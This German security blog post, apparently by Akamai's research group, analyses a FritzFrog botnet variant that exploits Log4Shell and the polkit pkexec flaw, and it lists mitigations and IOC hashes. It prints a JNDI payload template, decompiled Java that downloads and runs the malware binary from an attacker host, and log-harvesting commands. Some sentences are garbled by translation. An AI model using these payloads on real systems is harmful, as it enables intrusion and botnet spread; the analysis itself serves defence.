Frog4Shell – FritzFrog-Botnet erweitert sein Arsenal um One-Day-Angriffe
Redaktion und weitere Kommentare von Tricia Howard
Zusammenfassung
Die Akamai Security Intelligence Group (SIG) hat Details zu einer neuen Variante des Botnets FritzFrog aufgedeckt, die die Schwachstelle Log4Shell aus 2021 ausnutzt.
Im Laufe der Jahre gab es mehr als 20.000 Angriffe durch FritzFrog und mehr als 1.500 Opfer.
Die Malware infiziert Server mit Internetzugriff durch das Brute-Forcing schwacher SSH-Anmeldedaten. Neuere Varianten davon lesen jetzt mehrere Systemdateien auf kompromittierten Hosts, um potenzielle Ziele zu erkennen, die mit hoher Wahrscheinlichkeit anfällig für diese Art von Angriff sind.
Die Schwachstelle wird wie bei einem Brute-Force-Angriff ausgenutzt, indem so viele Angriffe auf anfällige Java-Anwendungen wie möglich erfolgen.
Die Malware enthält jetzt auch ein Modul zum Ausnutzen der Schwachstelle CVE-2021-4034, einer Berechtigungseskalation in der Polkit-Linux-Komponente. Mit diesem Modul kann die Malware auf anfälligen Servern mit Root-Berechtigung ausgeführt werden.
- Wir haben in diesen Blogbeitrag auch die IOCs (Indicators of Compromise) und weitere Abwehrmaßnahmen aufgenommen, die Ihnen helfen sollen, eine Infektion mit FritzFrog zu verhindern.
Mehr Informationen über FritzFrog
Akamai überwacht mit seinem globalen Sensorennetzwerk kontinuierlich Bedrohungen. Dazu gehören auch die Bedrohungen, die wir bereits entdeckt haben. Eine davon ist das Botnet FritzFrog (ursprünglich im Jahr 2020identifiziert). Dabei handelt es sich um ein komplexes, auf Golang basierendes Peer-to-Peer-Botnet, das sowohl AMD- als auch ARM-basierte Maschinen unterstützt. Die Malware wird aktiv gepflegt und hat sich im Laufe der Jahre durch das Hinzufügen und Verbessern von Funktionen weiterentwickelt.
Ursprünglich hat sich FritzFrog über SSH-Brute-Force-Angriffe verbreitet und damit im Laufe der Zeit tausende von Zielen erfolgreich kompromittiert. Jeder kompromittierte Host wird Teil des Netzwerks von FritzFrog – er kommuniziert mit seinen infizierten Peers, um Informationen, Payloads und Konfiguration zu teilen.
Dank konsequenter Erhaltung und Pflege gehören inzwischen viele interessante Funktionen zum Arsenal dieser Malware, einschließlich der Ergänzungen, die wir in diesem Blog besprechen werden, wie z. B. die Ausnutzung der Schwachstelle Log4Shell – ist diese Art von virtuellem Wert bereits zu beobachten. So umgeht diese Funktion zum Beispiel, wenn möglich, die Festplatte, um die Erkennungsmöglichkeiten zu begrenzen, unterstützt die Kommunikation über TOR und verfügt sogar über ein „Antiviren“-Modul, das konkurrierende Malware zerstört – ist diese Art von virtuellem Wert bereits zu beobachten.
Die Verwendung von Log4Shell als Infektionsvektor
Ursprünglich war SSH-Brute-Force der einzige Infektionsvektor von FritzFrog, aber die neuesten Versionen der Malware enthalten jetzt einen neuen Vektor: Die Ausnutzung von Log4Shell, die auch als die total verrückte „Frog4Shell“ bekannt ist.
Die Schwachstelle Log4Shell wurde ursprünglich im Dezember 2021 identifiziert und löste eine branchenweite Patching-Welle aus, die monatelang anhielt. Auch heute, zwei Jahre später, gibt es noch viele Anwendungen mit Internetzugriff, die anfällig für diesen Exploit sind.
Anfällige Ressourcen mit Internetzugriff sind ein ernstes Problem, aber FritzFrog stellt auch für eine andere Art von Assets ein Risiko dar: interne Hosts. Als die Schwachstelle erstmals entdeckt wurde, wurden wegen ihres erheblichen Gefährdungsrisikos vorrangig Anwendungen mit Internetzugriff gepatcht. Auf der anderen Seite wurden interne Maschinen, die weniger anfällig für Exploits waren, oft vernachlässigt und blieben ohne Patch. Diesen Umstand nutzt FritzFrog jetzt aus.
Im Rahmen ihrer Übertragungs-Routine versucht die Malware, alle Hosts im internen Netzwerk anzugreifen. Dazu ruft sie die Standard-Go-Funktion net__Interface_Addrs auf, um erreichbare Subnetze zu identifizieren und die möglichen Adressen in jedem dieser Subnetze anzugreifen. Abbildung 1 zeigt die Malware beim Versuch, eine Verbindung zu allen Adressen im lokalen Netzwerk herzustellen.
Abb. 1: FritzFrog scannt das lokale Netzwerk, um Ziele zu identifizieren
Das bedeutet, dass FritzFrog, obwohl die „hochkarätigen“ Anwendungen mit Internetzugriff gepatcht wurden, bei einem erfolgreichen Angriff auf ein Asset im Netzwerk, sämtliche nicht gepatchten internen Ressourcen ausnutzen kann.
FritzFrog identifiziert potenzielle Log4Shell-Ziele durch die Suche nach HTTP-Servern über die Ports 8080, 8090, 8888 und 9000. Um die Schwachstelle auszulösen, muss ein Angreifer die anfällige log4j-Anwendung zwingen, Daten zu protokollieren, die eine Payload enthalten (Tabelle 1):
${jndi:ldap://<attacker_address>/<payload>}
Tabelle 1: Beispiel für Log4Shell-Payload
Diese Payload, die von der anfälligen log4j-Bibliothek falsch geparst wird, zwingt die Java-Anwendung, eine Verbindung zu einem LDAP-Server, der in „attacker_address“ angegeben ist, herzustellen, von dort eine Java-Klasse herunterzuladen und diese auszuführen (Abbildung 2).
Abb. 2: Der allgemeine Ablauf eines Exploits von Log4Shell
FritzFrog versucht, diese Schwachstelle auszunutzen, indem es die Payload über HTTP-Header einfügt (Abbildung 3). Dies geschieht auf interessante Weise: anstatt einen bestimmten HTTP-Header präzise anzuvisieren, greift FritzFrog sie alle an.
Abb. 3: FritzFrog-Log4Shell-Exploit, der in verschiedene HTTP-Header eingebettet ist
FritzFrog sendet die Log4Shell-Payload in zahlreichen HTTP-Headern, in der Hoffnung, dass mindestens einer von ihnen von der Anwendung protokolliert wird. Dieser Brute-Force-Ansatz wird zu einem herkömmlichen Log4Shell-Exploit, der sich auf eine Vielzahl von Anwendungen auswirken kann.
Durch die in Abbildung 3 dargestellte injizierte Payload stellt die Anwendung eine Verbindung zur IP-Adresse von FritzFrog her. Die Malware hostet ihren eigenen LDAP-Server und verwendet ihn, um die schädliche Java-Klasse bereitzustellen. Bei der Ausführung stellt die Java-Klasse über HTTP eine Verbindung zum Angreifer her, um die Malware-Binärdatei herunterzuladen, die unter dem Namen „robots.txt“ gehostet wird (Tabelle 2).
String ff_host_http_server_address = ff_host_http_server_address.trim();
payload_url = new URL("http://" + ff_host_http_server_address + "/" +
ff_username + "/robots.txt");
payload_url_stream = payload_url.openStream();
Tabelle 2: Die dekompilierte Log4Shell-Java-Payload beim Herunterladen der FritzFrog-Binärdatei
Die Datei „robots.txt“ wird unter dem Namen „ifconfig“ gespeichert. Die Java-Klasse führt dann die ifconfig-Binärdatei aus und löscht die Datei (Tabelle 3).
FileOutputStream ff_payload_file = new FileOutputStream(paths[counter] + "ifconfig");
ff_payload_file.write(var2.toByteArray());
ff_payload_file.close();
ff_payload_file_exec = new File(paths[counter] + "ifconfig");
ff_payload_file_exec.setExecutable(true);
Process ff_proc = Runtime.getRuntime().exec(paths[counter] + "ifconfig init " + var9 + ":22 " + ff_username + " exploit_log4shell");
if (ff_proc.waitFor() == 0) {
ff_payload_file_exec.delete();
return;
}
Tabelle 3: Die dekompilierte Log4Shell-Java-Payload bei der Ausführung der FritzFrog-Binärdatei
Abbildung 4 zeigt den Ablauf des Exploits von Log4Shell, den FritzFrog verwendet.
Abb. 4: FritzFrog-Log4Shell-Exploit-Prozess
Methoden zur Erkennung von SSH-Zielen
Zusätzlich zur Ausnutzung von Log4Shell verfügt FritzFrog ebenfalls über verbesserte Identifikation von Zielen für seinen Hauptinfektionsvektor SSH-Brute-Force. Während es weiterhin zufällig generierte IP-Adressen angreift, versucht FritzFrog nun auch, bestimmte SSH-Ziele zu identifizieren, indem es mehrere Systemprotokolle auf jedem seiner Opfer aufzählt.
Authentifizierungsprotokolle
Die auth.log-Dateien von Linux enthalten unter anderem Informationen über Verbindungen zur Maschine. FritzFrog sucht aktive Clients im Netzwerk, indem es diese Protokolle nach IP-Adressen durchsucht. Um auf die Daten zuzugreifen, führt die Malware die folgenden Befehle aus:
cat /var/log/auth*
zcat /var/log/auth*
Diese Befehle geben den Inhalt aller Klartext- und komprimierten Protokolldateien aus.
Bekannte SSH-Hosts
Wenn ein Host eine Verbindung zu einem Remote-SSH-Server herstellt, werden die Verbindungsinformationen automatisch in der Datei ~/.ssh/known_hosts gespeichert. FritzFrog extrahiert die Adressen dieser Hosts und greift sie an.
Dadurch erhält die Malware eine Liste aktiver und erreichbarer SSH-Server. Und da diese Server wahrscheinlich vom selben Eigentümer wie der kompromittierte Server verwaltet werden, verwenden sie möglicherweise auch ein ähnlich schwaches Kennwort.
Verlaufsdatei
Alle Befehle, die auf Linux-Systemen ausgeführt werden, werden in einem speziellen Protokoll, der Verlaufsdatei, gespeichert. FritzFrog versucht, frühere ssh- und scp-Verbindungen zu identifizieren, indem es den folgenden Befehl ausführt:
history | grep -E \"(scp|ssh)\"
Danach extrahiert es die IP-Adressen aus diesen Befehlen und greift sie an. Ähnlich wie bei der Datei known_hosts kann FritzFrog so eine Liste der aktiven und erreichbaren SSH-Server erhalten.
Umgehung von Berechtigungen
Eine weitere Änderung, die wir beobachtet haben, war die Erweiterung der Malware um eine Funktion zur Berechtigungseskalation. Bei seiner ersten Ausführung überprüft FritzFrog die Berechtigungen seines Prozesses. Wenn der ausführende Nutzer keine Root-Berechtigung hat, wird eine Funktion namens „main_RunBlasty“ aufgerufen (Abbildung 5).
Abb. 5: FritzFrog ermittelt, dass der Prozess nicht mit einer Root-Berechtigung ausgeführt wird, und führt die Funktion „main_RunBlasty“ aus
Die Funktion „RunBlasty“ beginnt mit der Ausführung des Befehls „which”. Dabei handelt sich um ein Dienstprogramm, mit dem der vollständige Pfad anderer Befehle im System ermittelt werden kann (Abbildung 6).
Abb. 6: FritzFrog für den Befehl „which“ aus
Wir erkennen, dass die Malware versucht, den Standort der Binärdatei pkexec zu finden. (Klingeln da bei Ihnen die Alarmglocken und lassen Sie an eine Schwachstelle denken?)
Die Malware extrahiert dann zwei Dateien, die in ihre eigene ausführbare Datei eingebettet sind (Abbildung 7). Die Dateien werden als Strings gespeichert, bei denen es sich um Base64-codierte gzip-Dateien handelt. Die extrahierten Dateien heißen blasty und payload.so.
Abb. 7: Extrahieren von Dateien, die in die Malware-Binärdatei eingebettet sind
Nach dem Erstellen der Dateien führt FritzFrog blasty aus, eine ELF-Datei, die in C geschrieben wurde. Nach kurzem Blick auf den Code sehen wir, dass er sehr einfach ist: auf einige Interaktionen mit Umgebungsvariablen folgt die Ausführung von pkexec (Abbildung 8).
Abb. 8: Disassemblierter Code blasty
Die Suche nach diesen Strings führt uns sofort zu diesem Angriffscode der Schwachstelle CVE-2021-4034 – ist diese Art von virtuellem Wert bereits zu beobachten. Diese Schwachstelle in der Linux-Komponente polkit hat Qualys im Jahr 2022 offengelegt. Sie ermöglichte eine Berechtigungseskalation auf jedem Linux-Rechner, auf dem Polkit ausgeführt wurde. Und da es standardmäßig auf den meisten Linux-Distributionen installiert ist,sind viele ungepatchte Maschinen auch heute noch anfällig für diese CVE.
Für diesen Exploit nutzen Angreifer die Tatsache, dass pkexec ein SUID-Programm ist, das heißt, es wird mit Root-Berechtigungen ausgeführt, selbst wenn es von einem schwachen Nutzer ausgeführt wird. Über die Schwachstelle kann ein Angreifer pkexec zwingen, eine von ihm kontrollierte Bibliothek zu laden und auszuführen, was zur Codeausführung mit Root-Berechtigung führt.
Blasty nutzt diese Schwachstelle aus und bringt pkexec dazu, payload.so zu laden und auszuführen. Wie die Abbildung 9 zeigt, setzt diese Bibliothek die UID und GID des Prozesses auf 0, was Root bedeutet, und führt root_update, die Binärdatei von FritzFrog, aus.
Abb. 9: payload.so führt FritzFrog mit Root-Berechtigung aus
Ebenfalls interessant ist, dass sowohl blasty als auch payload.so, selbst für FritzFrog-Varianten, die auf ARM ausgeführt werden, für die AMD64-Architektur kompiliert sind. Das bedeutet, dass der Exploit auf allen Computern, die keine AMD64-CPU ausführen, nicht ausgeführt werden kann.
Umgehung von Abwehrmaßnahmen
FritzFrog setzt weiterhin Taktiken ein, um im Verborgenen zu bleiben und eine Erkennung zu vermeiden. Insbesondere achtet es darauf, dass Dateien möglichst nicht auf der Festplatte abgelegt werden. Unserer Erfahrung nach setzten die Entwickler zwei Linux-Funktionen ein, um dies zu erreichen: /dev/shm und memfd_create.
/dev/shm
Bei der ersten Technik wird der Ordner /dev/shm (mit shm, was „Shared Memory“, also „gemeinsamer Speicher“ bedeutet) verwendet, ein Verzeichnis, das eine effiziente Kommunikation zwischen verschiedenen Prozessen im System ermöglichen soll (Abbildung 10). Obwohl er wie ein normaler Dateisystemordner aussieht, ist /dev/shm eigentlich direkt dem RAM zugeordnet und alle Dateien, die unter diesem Ordner erstellt wurden, werden nicht auf der Festplatte gespeichert.
FritzFrog verwendet diesen Ordner, um eine dateilose Ausführung zu ermöglichen, indem es Dateien schreibt und von /dev/shm aus ausführt. Um diese Aktivität zu überwachen, können wir die Malware ausführen und das Dienstprogramm inotifywait nutzen, um die Dateivorgänge in /dev/shm zu untersuchen. Wir sehen, dass die Malware mehrere Dateien in dieses Verzeichnis schreibt. In Abbildung 8 schreibt die Malware alle Exploit-Dateien von pkexec in /dev/shm, bevor sie ausgeführt werden.
Abb. 10: Überwachen von FritzFrog-Dateizugriffsereignissen auf das Verzeichnis /dev/shm
memfd_create
Bei der zweiten Technik wird die Funktion memfd_create verwendet, die auf der Linux-Handbuchseite wie folgt beschrieben wird:
memfd_create() erstellt eine anonyme Datei und sendet einen Dateideskriptor zurück, der darauf verweist. Die Datei verhält sich wie eine reguläre Datei und kann daher geändert, abgeschnitten, speicherabgebildet usw. werden. Im Gegensatz zu einer normalen Datei wird sie jedoch im RAM gespeichert.
Ähnlich wie bei der vorherigen Technik haben wir hier also eine bequeme Möglichkeit, eine Datei zu erstellen, ohne die Festplatte zu nutzen. FritzFrog verwendet diese Technik bei der Ausführung seiner Miner-Payload (Abbildung 11). Es schreibt die Payload in eine anonyme Datei, die von memfd_create erstellt wurde und führt sie aus.
Abb. 11: FritzFrog verwendet memfd_create, um die Miner-Payload in eine anonyme Datei zu schreiben
Mitigationen
Wir empfehlen die folgenden zwei Abwehrstrategien: Die Netzwerksegmentierung und die Erkennung gängiger Malware-Taktiken, -Techniken und -Verfahren.
Die Netzwerksegmentierung kann die potenziellen Auswirkungen von FritzFrog begrenzen, indem sie laterale Netzwerkbewegung verhindert. Die softwarebasierte Segmentierung kann eine relativ einfache Lösung für eine langfristige Verteidigungsstrategie sein.
Wir haben ein FritzFrog-Erkennungsskript zum Ausführen auf SSH-Servern bereitgestellt, das nach den folgenden FritzFrog-Indikatoren sucht:
a) laufende Prozesse mit den Namen nginx, ifconfig, php-fpm, apache2 oder libexec, deren ausführbare Datei nicht mehr im Dateisystem vorhanden ist (siehe unten)
b) Listening-Port 1234
Fazit
Die Verschiebung der Angriffstaktiken hier zur Ausnutzung von Schwachstellen war 2023 ein wichtiger Angriffstrend – One-Day- und Zero-Day-Exploits wurden in großem Umfang ausgeführt. Und sie erwiesen sich dabei als eine der effektivsten Methoden, um in Unternehmensnetzwerke einzudringen.
FritzFrogs Erweiterung um Exploit-Funktionen spricht für einen ähnlichen Wandel in diese Richtung. Der zusätzliche Infektionsvektor, der die Schwachstelle Log4Shell ausnutzen kann, und das Exploit-Modul pkexec sind zwei Ergänzungen zu FritzFrog, die in diesem Blogbeitrag untersucht werden und diese Veränderung veranschaulichen. Wir glauben, dass sich dieser Trend auch in den kommenden FritzFrog-Versionen fortsetzen wird. Es ist wahrscheinlich nur eine Frage der Zeit, bis dieser Malware weitere Exploit-Funktionen hinzugefügt werden.
Die Akamai SIG wird diese Bedrohung und andere Bedrohungen weiterhin überwachen und ihre Ergebnisse veröffentlichen. Um über FritzFrog und unsere übrige Sicherheitsforschung auf dem Laufenden zu bleiben, folgen Sie uns auf X (ehemals Twitter).
IOCs
FritzFrog-Binärdatei
AMD
f77ab04ee56f3cd4845d4a80c5817a7de4f0561d976d87563deab752363a765d
ARM
fb3371dd45585763f1436afb7d64c202864d89ee6cbb743efac9dbf1cefcc291
Log4Shell-Payload
52b11d3fa9206f51c601bd85cb480102fd938894b7274fac3d20915eb3af44f8
„Blasty“ pkexec Exploit
Blasty
85cb8ceda7d2a29bc7c6c96dd279c43559797a624fc15d44da53ca02379afe01
Payload.so
0b95071c657f23d4d8bfa39042ed8ad0a1c1bceb6b265c1237c12c4c0818c248
